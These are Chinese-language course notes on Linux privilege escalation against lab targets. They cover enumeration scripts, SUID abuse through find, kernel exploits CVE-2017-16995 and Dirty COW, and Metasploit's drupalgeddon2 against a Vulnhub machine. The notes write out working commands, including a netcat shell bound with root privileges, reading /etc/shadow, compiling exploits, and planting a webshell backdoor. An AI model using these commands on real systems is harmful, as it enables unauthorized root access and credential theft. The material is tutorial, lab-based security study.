思維導圖
本課重點
- 案例1:linux提權自動化腳本利用-4個腳本
- 案例2:linux提權suid配合腳本演示-Aliyun
- 案例3:linux提權本地配合內核漏洞演示-Mozhe-本地提權
- 案例4:linux提權臟牛內核漏洞演示-Vulnhub,Aliyun
案例1:linux提權自動化腳本利用-4個腳本
兩個信息收集:LinEnum,linuxprivchecker
兩個漏洞探針:linux-exploit-suggester,linux-exploit-suggester2
信息收集/漏洞探針主要關注點:SUID,定時任務,可能漏洞,第三方服務應用等
1、LinEnum——Linux枚舉及權限提升檢查工具
用法
腳本先上傳到目標服務器/tmp目錄下(/tmp目錄是臨時目錄,一般是可讀寫可執行的) cd /tmp chmod +x LinEnum.sh ./LinEnum.sh
主要檢測以下幾個大類的信息
- 內核和發行版發布詳情
- 系統信息
- 用戶信息
- 特權訪問
- 環境
- 作業/任務
- 服務
- 一些web服務的版本信息
- 默認/弱憑證
- 搜索
- 平台/軟件特定測試
參考:https://github.com/rebootuser/LinEnum
2、Linuxprivchecker——Linux 權限提升檢查腳本
用法:python linuxprivchecker.py
參考:https://github.com/sleventyeleven/linuxprivchecker
3、linux-exploit-suggester——Linux 提權審計工具
用法
腳本先上傳到目標服務器/tmp目錄下 cd /tmp chmod +x linux-exploit-suggester.sh ./linux-exploit-suggester.sh
會檢測到當前系統可能存在的漏洞,返回信息比較多,存在誤報
參考:https://github.com/mzet-/linux-exploit-suggester
4、linux-exploit-suggester-2
用法:perl linux-exploit-suggester-2.pl
返回信息相對精簡,誤報幾率相對少
參考:https://github.com/jondonas/linux-exploit-suggester-2
案例2:linux提權suid配合腳本演示-Aliyun
漏洞成因:chmod u+s給與了suid、chmod u-s刪除了suid
本來是普通用戶執行普通程序,但是一旦給了程序suid權限,程序在運行中就會以root 權限執行,從而提升權限。
舉例:test.sh原來的權限是-rwxr-xr-x,當執行chmod u+s test.sh命令后,它的權限就會變成-rwsr-xr-x。此時,即使你用普通用戶身份運行test.sh文件,實際上它卻是以root權限運行的。
提權過程:探針是否有SUID(手工或腳本)-特定SUID利用-利用成功-GG
參考:https://pentestlab.blog/2017/09/25/suid-executables/
SUID可以讓調用者以文件擁有者的身份運行該文件,所以我們利用SUID提權的思路就是運行root用戶所擁有的SUID的文件,那么我們運行該文件的時候就得獲得root用戶的身份了。
已知的可用來提權的程序如下:
- nmap
- vim
- find
- bash
- more
- less
- nano
- cp
<1>使用冰蠍,添加后門。msf+冰蠍配合反彈shell
- 冰蠍下載:https://github.com/rebeyond/Behinder/releases
<2>反彈成功,取得一個web權限
<3>探針是否有SUID(手工或腳本)。兩種方法:腳本或者手工。
方法1:腳本。上傳LinEnum.sh文件並執行,發現了一些suid文件,並從中找到了可以用於提權的find。由於find被配置為使用 SUID 權限運行,那么所有通過 find 執行的命令都將以 root 身份執行。
方法2:手工。有3條命令
#以下命令將嘗試查找具有root權限的SUID的文件,不同系統適用於不同的命令,一個一個試 find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000-print2>/dev/null find / -user root -perm -4000-exec ls -ldb {} \;
<4>執行以下命令,確認以root身份運行。即 當我們使用 find pentestlab -exec <命令> \; 的形式運行命令時,使用的是root身份。
touch pentestlab find pentestlab -exec whoami \;
<5>接下來,執行以下命令,以root身份反彈shell。
find pentestlab -exec netcat -lvp 5555 -e /bin/sh \;
然后本地連接端口,就會接收到反彈root shell,提權成功。
netcat 192.168.1.189 5555 id cat /etc/shadow
案例3:linux提權本地配合內核漏洞演示-Mozhe-本地提權
提權過程:連接-獲取可利用漏洞-下載並上傳exp-編譯exp-給權限執行-GG
<1>這里使用的演示環境為墨者學院的Ubuntu 16.04漏洞復現(CVE-2017-16995)演示環境。
連接上去之后,id查看hack用戶的uid為1001,屬於普通用戶。
<2>上傳漏洞探針linux-exploit-suggester2並執行,發現了4個可能被利用的漏洞。
<3>嘗試利用漏洞CVE-2017-16995。
打開https://www.exploit-db.com/exploits/45010可以查看漏洞利用詳情。
下載exp:https://github.com/Jewel591/Privilege-Escalation
上傳 45010.c 到目標機器上進行編譯,提權成功。
gcc 45010.c -o 45010 chmod +x 45010 ./45010 id
案例4:linux提權臟牛內核漏洞演示-Vulnhub,Aliyun
內核提權整個過程:vulnhub靶機-探針目標-CMS漏洞利用-腳本探針提權漏洞-利用內核提權-GG
內核漏洞提權過程:尋可用-下載exp-上傳exp到/tmp-編譯exp-執行(無權限用chmod)
<1>下載vulnhub靶機並在本地安裝,安裝后發現無密碼沒法登錄。
- 下載地址:https://www.vulnhub.com/entry/lampiao-1,249/
<2>探針目標
打開kali,ifconfig找到自己的IP為192.168.76.132。
掃描同網段的IP地址,掃描出來一個80端口
nmap 192.168.76.0/24
打開看一下,感覺可能有問題
然后對80端口所在的192.168.76.141目標IP進行全端口掃描,又掃描出來一個1898端口。
nmap -p1-65535 192.168.76.141
打開看一下,發現是一個web入口。
拉到頁面最下方,發現一行字:Powered by Drupal
<3>CMS漏洞利用
打開msf,搜索Drupal,發現了一些漏洞利用。找一個腳本,嘗試利用一下
search drupal use exploit/unix/webapp/drupalgeddon2 set lhost 192.168.76.141 set lport 1898 exploit
成功拿到web權限
<4>腳本探針提權漏洞+利用內核提權
上傳一個漏洞探針腳本linux-exploit-suggester
執行腳本 探針一下,檢測出一個臟牛漏洞。
可以直接下載相關exp(缺點是下載后文件名字就是40611,需要手動修改后綴進行后續的執行)
這里我們從GitHub上下載一個exp,上傳exp到目標服務器,編譯,執行,成功修改root密碼。
//exp下載地址:https://github.com/gbonacini/CVE-2016-5195 upload /tmp/40837.cpp /tmp/40837.cpp g++ -Wall -pedantic -o2 -std=c++11 -pthread -o dcow 40837.cpp -lutil python -c 'import pty;pyt.spawn("/bin/bash")' ./dcow
接下來就可以輸入用戶名密碼登錄,拿到flag。
<4>嘗試在阿里雲上利用臟牛漏洞exp提權,失敗。(原因應該是內核版本已升級)
其他相關優秀資源:權限提升-linux提權手法總結.pdf(黑白天實驗室總結)